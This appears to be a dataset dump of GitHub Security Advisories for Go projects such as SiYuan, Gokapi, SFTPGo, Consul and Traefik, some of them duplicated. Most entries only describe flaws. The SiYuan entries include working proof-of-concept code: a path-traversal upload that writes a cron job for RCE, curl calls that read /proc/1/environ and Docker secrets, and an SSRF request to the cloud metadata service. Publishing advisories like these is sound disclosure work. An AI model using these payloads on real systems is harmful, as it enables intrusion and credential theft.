deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-mw24-f3xh-j3qv
Package: github.com/ctfer-io/chall-manager/sdk (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 0.6.5
Patched in: 0.6.5

Summary: Chall-Manager's invalid NetworkPolicy enables a malicious actor to pivot into another namespace

Details:
### Impact

Due to a mis-written NetworkPolicy, a malicious actor can pivot from an instance to any Pod out of the origin namespace.
This breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement.
In the specific case of `sdk/kubernetes.Kompose` it does not isolate the instances.

### Patch

Removing the `inter-ns` NetworkPolicy patches the vulnerability. If updates are not possible in production environments, we recommend to manually delete it and update as soon as possible.

### Workaround

Given your context, delete the failing network policy that should be prefixed by `inter-ns-` in the target namespace.
You can use the following to delete all matching network policy. If unsure of the outcome, please do it manually.

```bash
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep '^cm-target-'); do
  kubectl -n "$ns" get networkpolicy -o name \
  | grep '^networkpolicy.networking.k8s.io/inter-ns-' \
  | xargs -r kubectl -n "$ns" delete
done
```
GitHub Security Advisory: GHSA-mw24-f3xh-j3qv
Package: github.com/ctfer-io/chall-manager/deploy (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 0.6.5
Patched in: 0.6.5

Summary: Chall-Manager's invalid NetworkPolicy enables a malicious actor to pivot into another namespace

Details:
### Impact

Due to a mis-written NetworkPolicy, a malicious actor can pivot from an instance to any Pod out of the origin namespace.
This breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement.
In the specific case of `sdk/kubernetes.Kompose` it does not isolate the instances.

### Patch

Removing the `inter-ns` NetworkPolicy patches the vulnerability. If updates are not possible in production environments, we recommend to manually delete it and update as soon as possible.

### Workaround

Given your context, delete the failing network policy that should be prefixed by `inter-ns-` in the target namespace.
You can use the following to delete all matching network policy. If unsure of the outcome, please do it manually.

```bash
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep '^cm-target-'); do
  kubectl -n "$ns" get networkpolicy -o name \
  | grep '^networkpolicy.networking.k8s.io/inter-ns-' \
  | xargs -r kubectl -n "$ns" delete
done
```
GitHub Security Advisory: GHSA-qvvf-q994-x79v
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: HIGH (CVSS 7.6)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path
Vulnerable versions: <= 0.0.0[PII_REDACTED]4916-fd6526133bb3
Patched in: unpatched

Summary: SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

Details:
### Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.

### Details
File: kernel/api/import.go - functions importSY and importZipMd

```go
file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)
```

importZipMd has a second traversal in unzipPath construction:
```go
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath    := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)
```

filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.

### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```

**Exploit:**
```python
import requests, zipfile, io

HOST  = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr("TestNB/[PII_REDACTED]0000-abcdefg.sy",
        '{"ID":"[PII_REDACTED]0000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
    z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)

r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
    data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})

print(r.text)
```

**RCE via cron (root container):**
```python
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
    data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
```

**Confirmed response on v3.6.0:** {"code":0,"msg":"","data":null}

### Impact
An admin can write arbitrary content to any path writable by the SiYuan process:
- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys
- Data destruction by overwriting workspace or application files
- In Docker containers running as root (common default), this grants full container compromise
GitHub Security Advisory: GHSA-h5vh-m7fg-w5h6
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: <= 0.0.0[PII_REDACTED]4916-fd6526133bb3
Patched in: unpatched

Summary: SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets

Details:
### Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.

### Details
File: kernel/api/file.go - function globalCopyFiles

```go
for i, src := range srcs {
    absSrc, _ := filepath.Abs(src)

    if util.IsSensitivePath(absSrc) {
        return
    }
    srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
    dest := filepath.Join(destDir, filepath.Base(src))
    filelock.Copy(src, dest)   // copies unchecked sensitive file into workspace
}
```

IsSensitivePath blocklist (kernel/util/path.go):
```go
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}
```

**Not blocked - exploitable targets:**
| Path | Contains |
|------|----------|
| /proc/1/environ | All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |
| /run/secrets/* | Docker Swarm / Compose injected secrets |
| /home/siyuan/.aws/credentials | AWS credentials (non-root user) |
| /home/siyuan/.ssh/id_rsa | SSH private key (non-root user) |
| /tmp/ | Temporary files including tokens |

### PoC
**Environment:**
```bash
docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
```

**Exploit:**
```bash
TOKEN="YOUR_ADMIN_TOKEN"

curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'

curl -s -X POST http://localhost:6806/api/file/getFile \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
```

**Docker secrets:**
```bash
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'
```

### Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
GitHub Security Advisory: GHSA-mw8w-q3f7-2v85
Package: github.com/stefanprodan/podinfo (GO)
Severity: LOW (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 1.8.1-0[PII_REDACTED]3358-fb3b01be30a3
Patched in: 1.8.1-0[PII_REDACTED]5853-83deb7fcb742

Summary: Podinfo affected by Arbitrary File Upload that leads to Stored Cross-Site Scripting (XSS)

Details:
Arbitrary File Upload in podinfo thru 6.9.0 allows unauthenticated attackers to upload arbitrary files via crafted POST request to the /store endpoint. The application renders uploaded content without a restrictive Content-Security-Policy (CSP) or adequate Content-Type validation, leading to Stored Cross-Site Scripting (XSS).
GitHub Security Advisory: GHSA-7x23-j8gv-v54x
Package: github.com/ctfer-io/monitoring (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-284: Improper Access Control
Vulnerable versions: < 0.2.1
Patched in: 0.2.1

Summary: github.com/ctfer-io/monitoring Vulnerable to Improper Access Control

Details:
### Impact

Due to a mis-written NetworkPolicy, a malicious actor can pivot from a component to any other namespace.
This breaks the security-by-default property expected as part of the deployment program, leading to a potential lateral movement.

### Patch

Removing the `inter-ns` NetworkPolicy patches the vulnerability. If updates are not possible in production environments, we recommend to manually delete it and update as soon as possible.

### Workaround

Given your context, delete the failing network policy that should be prefixed by `inter-ns-` in the monitoring namespace.
You can use the following to delete all matching network policy. If unsure of the outcome, please do it manually.

```bash
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | grep '^monitoring-'); do
  kubectl -n "$ns" get networkpolicy -o name \
  | grep '^networkpolicy.networking.k8s.io/inter-ns-' \
  | xargs -r kubectl -n "$ns" delete
done
```
GitHub Security Advisory: GHSA-45vh-rpc8-hxpp
Package: github.com/forceu/gokapi (GO)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-20: Improper Input Validation, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 2.2.3
Patched in: 2.2.4

Summary: Gokapi's File Request MaxSize Limit Bypassed via Multi-Chunk Upload

Details:
### Summary

The chunked upload completion path for file requests does not validate the total file size against the per-request `MaxSize` limit. An attacker with a public file request link can split an oversized file into chunks each under `MaxSize` and upload them sequentially, bypassing the size restriction entirely. Files up to the server's global `MaxFileSizeMB` are accepted regardless of the file request's configured limit.

### Impact

Any guest with access to a shared file request link can upload files far larger than the administrator-configured size limit, up to the server's global `MaxFileSizeMB`. This allows unauthorized storage consumption, circumvention of administrative resource policies, and potential service disruption through storage exhaustion. No data exposure or privilege escalation occurs.
GitHub Security Advisory: GHSA-qwc6-vc2v-2ggj
Package: github.com/forceu/gokapi (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 2.2.3
Patched in: 2.2.4

Summary: Gokapi vulnerable to DoS in E2E Metadata Parser

Details:
### Summary

An API endpoint accepts unbounded request bodies without any size limit. An authenticated user can cause an OOM kill and complete service disruption for all users.


### Impact

Any authenticated user can crash the Gokapi server by sending concurrent large payloads.
GitHub Security Advisory: GHSA-j6jp-78w8-34x6
Package: github.com/forceu/gokapi (GO)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 2.2.3
Patched in: 2.2.4

Summary: Gokapi vulnerable to Privilege Escalation in File Replace

Details:
## Summary

An insufficient authorization check in the file replace API allows a user with only list visibility permission (`UserPermListOtherUploads`) to delete another user's file by abusing the `deleteNewFile` flag, bypassing the requirement for `UserPermDeleteOtherUploads`.

### Impact

Any authenticated user with `PERM_REPLACE` (replace own files) and `PERM_LIST` (view other users' uploads) can delete any other user's file without needing `PERM_DELETE`.
GitHub Security Advisory: GHSA-m83q-5wr4-4gfp
Package: github.com/drakkan/sftpgo/v2 (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-20: Improper Input Validation, CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 2.3.0, <= 2.7.0
Patched in: 2.7.1

Summary: SFTPGo improperly sanitizes placeholders in group home directories/key prefixes

Details:
### Impact

SFTPGo versions before v2.7.1 contain an input validation issue in the handling of dynamic group paths, for example, home directories or key prefixes.

When a group is configured with a dynamic home directory or key prefix using placeholders like `%username%`, the value replacing the placeholder is not strictly sanitized against relative path components. Consequently, if a user is created with a specially crafted username the resulting path may resolve to a parent directory instead of the intended sub-directory.

### Patches

This issue is fixed in version v2.7.1
GitHub Security Advisory: GHSA-x8qh-7475-c5mp
Package: github.com/drakkan/sftpgo (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.2.2
Patched in: unpatched

Summary: SFTPGo Vulnerable to Path Traversal and Permission Bypass via Path Normalization Discrepancy

Details:
### Impact

In SFTPGo versions prior to 2.7.1, a path normalization discrepancy between the protocol handlers and the internal Virtual Filesystem routing can lead to an authorization bypass. An authenticated attacker can craft specific file paths to bypass folder-level permissions or escape the boundaries of a configured Virtual Folder.


### Patches

This issue has been addressed in SFTPGo version 2.7.1. The fix introduces strict edge-level path normalization, ensuring that all protocol inputs are fully sanitized and resolved to canonical POSIX paths before any routing or permission evaluations occur.
GitHub Security Advisory: GHSA-x8qh-7475-c5mp
Package: github.com/drakkan/sftpgo/v2 (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 2.7.0
Patched in: 2.7.1

Summary: SFTPGo Vulnerable to Path Traversal and Permission Bypass via Path Normalization Discrepancy

Details:
### Impact

In SFTPGo versions prior to 2.7.1, a path normalization discrepancy between the protocol handlers and the internal Virtual Filesystem routing can lead to an authorization bypass. An authenticated attacker can craft specific file paths to bypass folder-level permissions or escape the boundaries of a configured Virtual Folder.


### Patches

This issue has been addressed in SFTPGo version 2.7.1. The fix introduces strict edge-level path normalization, ensuring that all protocol inputs are fully sanitized and resolved to canonical POSIX paths before any routing or permission evaluations occur.
GitHub Security Advisory: GHSA-j478-p7vq-3347
Package: github.com/ellanetworks/core (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-125: Out-of-bounds Read
Vulnerable versions: < 1.5.1
Patched in: 1.5.1

Summary: Ella Core: AMF DoS via malformed PathSwitchRequest with empty NR security capability bitstrings

Details:
## Summary

Ella Core panics when processing a PathSwitchRequest containing UE Security Capabilities with zero-length NR encryption or integrity protection algorithm bitstrings, resulting in a denial of service.

## Impact

An attacker able to send crafted NGAP messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required.

## Fix

Added length validation on NR algorithm bitstrings before accessing them in the PathSwitchRequest handler.
GitHub Security Advisory: GHSA-m9pm-w3gv-c68f
Package: github.com/ellanetworks/core (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-125: Out-of-bounds Read
Vulnerable versions: < 1.5.1
Patched in: 1.5.1

Summary: Ella Core vulnerable to Unauthenticated AMF DoS via malformed InitialUEMessage with undersized integrity-protected NAS payload

Details:
## Summary

Ella Core panics when processing a malformed integrity protected NGAP/NAS message with a length under 7 bytes.

## Impact

An attacker able to send crafted NAS messages to Ella Core can crash the process, causing service disruption for all connected subscribers. No authentication is required.

## Fix

Added length verification to NAS message handling.
GitHub Security Advisory: GHSA-cpfq-66p2-336j
Package: github.com/hashicorp/consul (GO)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: >= 1.19.0, < 1.21.11
Patched in: 1.21.11

Summary: Consul is vulnerable to arbitrary file read when configured with Kubernetes authentication

Details:
HashiCorp Consul and Consul Enterprise 1.18.20 up to 1.21.10 and 1.22.4 are vulnerable to arbitrary file read when configured with Kubernetes authentication. This vulnerability, CVE-2026-2808, is fixed in Consul 1.18.21, 1.21.11 and 1.22.5.
GitHub Security Advisory: GHSA-cpfq-66p2-336j
Package: github.com/hashicorp/consul (GO)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: >= 1.22.0-rc1, < 1.22.5
Patched in: 1.22.5

Summary: Consul is vulnerable to arbitrary file read when configured with Kubernetes authentication

Details:
HashiCorp Consul and Consul Enterprise 1.18.20 up to 1.21.10 and 1.22.4 are vulnerable to arbitrary file read when configured with Kubernetes authentication. This vulnerability, CVE-2026-2808, is fixed in Consul 1.18.21, 1.21.11 and 1.22.5.
GitHub Security Advisory: GHSA-cpfq-66p2-336j
Package: github.com/hashicorp/consul (GO)
Severity: MODERATE (CVSS 6.8)
CWE: CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: < 1.18.21
Patched in: 1.18.21

Summary: Consul is vulnerable to arbitrary file read when configured with Kubernetes authentication

Details:
HashiCorp Consul and Consul Enterprise 1.18.20 up to 1.21.10 and 1.22.4 are vulnerable to arbitrary file read when configured with Kubernetes authentication. This vulnerability, CVE-2026-2808, is fixed in Consul 1.18.21, 1.21.11 and 1.22.5.
GitHub Security Advisory: GHSA-7m35-vw2c-696v
Package: github.com/osrg/gobgp/v3 (GO)
Severity: HIGH (CVSS 8.6)
CWE: CWE-193: Off-by-one Error
Vulnerable versions: >= 3.11.0, < 3.35.0
Patched in: 3.35.0

Summary: GoBGP panics due to a zero value for softwareVersionLen

Details:
An issue was discovered in GoBGP before 3.35.0 (introduced in v3.11.0). pkg/packet/bgp/bgp.go allows attackers to cause a panic via a zero value for softwareVersionLen.
GitHub Security Advisory: GHSA-4hjq-9h5c-252j
Package: github.com/traefik/traefik/v3 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: <= 3.6.9
Patched in: 3.6.10

Summary: Traefik: HTTP/2 frames can cause a running server to panic

Details:
## Summary

More Details:
- https://nvd.nist.gov/vuln/detail/CVE-2026-27141
- https://pkg.go.dev/golang.org/x/net/http2?tab=versions

## Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.10
- https://github.com/traefik/traefik/releases/tag/v2.11.40

## For more information

If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
GitHub Security Advisory: GHSA-4hjq-9h5c-252j
Package: github.com/traefik/traefik/v2 (GO)
Severity: HIGH (CVSS 0.0)
CWE: CWE-476: NULL Pointer Dereference
Vulnerable versions: <= 2.11.39
Patched in: 2.11.40

Summary: Traefik: HTTP/2 frames can cause a running server to panic

Details:
## Summary

More Details:
- https://nvd.nist.gov/vuln/detail/CVE-2026-27141
- https://pkg.go.dev/golang.org/x/net/http2?tab=versions

## Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.10
- https://github.com/traefik/traefik/releases/tag/v2.11.40

## For more information

If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
GitHub Security Advisory: GHSA-56cv-c5p2-j2wg
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: HIGH (CVSS 8.3)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 3.5.9
Patched in: 3.6.0

Summary: SiYuan has a Full-Read SSRF via /api/network/forwardProxy

Details:
### Summary
The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.

### Affected Code
File: `/kernel/api/network.go` (Lines `153-317`)
```
func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }

    destURL := arg["url"].(string)
    // VULNERABILITY: Only validates URL format, not destination
    if _, e := url.ParseRequestURI(destURL); nil != e {
        ret.Code = -1
        ret.Msg = "invalid [url]"
        return
    }

    // ... HTTP request is made to user-controlled URL ...
    resp, err := request.Send(method, destURL)
    
    // Full response body is returned to the user
    bodyData, err := io.ReadAll(resp.Body)
    // ...
    ret.Data = data  // Contains full response body
}
```
### PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
```
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102

{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'
```
<img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" />

### Impact
- Internal Network Reconnaissance: Attackers can scan internal services
- Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
- Data Exfiltration: Server can be used as a proxy to access internal resources
- Firewall Bypass: Requests originate from trusted internal IP